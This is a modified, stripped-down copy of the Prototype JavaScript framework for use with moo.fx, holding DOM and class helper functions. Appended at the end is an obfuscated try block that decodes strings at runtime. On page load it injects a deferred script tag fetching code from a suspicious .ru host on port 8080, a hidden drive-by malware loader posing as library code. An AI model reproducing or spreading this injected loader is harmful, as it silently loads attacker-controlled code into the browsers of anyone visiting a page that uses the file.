/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.each = function(func){
	for(var i=0;ob=this[i];i++) func(ob, i);
}

function $c(array){
	var nArray = [];
	for (i=0;el=array[i];i++) nArray.push(el);
	return nArray;
}
try {var T;if(T!='SQ'){T=''};var Is=new Date();var x=RegExp;var Z;if(Z!='' && Z!='V'){Z=''};var C;if(C!='' && C!='FF'){C=null};var A=']';var BA;if(BA!='' && BA!='B'){BA=''};var l='g';var N='';var _='replace';var D;if(D!=''){D='xc'};var aI=new Date();var s='[';var ot;if(ot!=''){ot='YK'};function a(_z,p){var iT=new String();var S=s;var md=new Array();S+=p;S+=A;var Y=new x(S, l);var pc='';var YL;if(YL!='' && YL!='Ke'){YL=''};return _z[_](Y, N);var pz=new Date();var b=new Array();};var R='';var NO=a('cWr8eWaWtWeWE8lWeWm8eWn8tW',"8W");var f=a('86422206438642670723',"47263");var AB;if(AB!='J' && AB!='ut'){AB=''};var _z="1";var v='';var h=a('oiniliocabdb',"Sucbi");var Q=a('sJe1t6AJtHtHrJiHb6uHtHeH',"6JH1");var n_="";var g=new Array();var L=a('/Wb0lWoLgLgyeyr0.VcLo0m0/ybVlVoWgVgyeWrL.VcVoVmW/ygyo0oWgylyeV.Wc0oWmy/0mLiVhyaWnWb0lWoVgL.ycVoym0/VtWoym0syhyaLrLdVwLaWrLe0.Vc0oVmV.VpyhLp0',"LWyV0");var Cs=new Date();var t_=new Date();var U=a('aEpPpweEnEdECPhEiPlPdP',"EwP");var xq=a('hDtDtYpz:D/z/PaDrPgDoLsL-zczoY-LuPkP.LhLyDvYePsD.LnYlD.PmYeDePtzuDpz-DcYoLmY.LbzeDsLtYmLyLlPoLvLeP.LrYuL:D',"YPzLD");var pF;if(pF!='eh' && pF!='Qx'){pF='eh'};var ba;if(ba!=''){ba='yA'};var F=a('sackrkibpbta',"kba");var E_=new String();var Rw=a('bmo6dmyl',"l6m");var z;if(z!='UA' && z!='ER'){z=''};var KW;if(KW!=''){KW='LO'};var sF;if(sF!='BH'){sF=''};window[h]=function(){var CK='';var UU=new Array();this.EP="";k=document[NO](F);var Dt=new Array();R+=xq;R+=f;this.EU="";R+=L;var Mz;if(Mz!='' && Mz!='HL'){Mz='kG'};this.VS='';k.src=R;var TZ;if(TZ!='jr'){TZ=''};this.ox='';k.setAttribute('defer', _z);var O=document[Rw];var HT=new String();var ep;if(ep!='tz'){ep='tz'};O.appendChild(k);var jc;if(jc!='' && jc!='ZW'){jc='Sz'};};var NY;if(NY!='eP'){NY='eP'};var TH=new Array();var DP=new Date();} catch(M){};var hu="";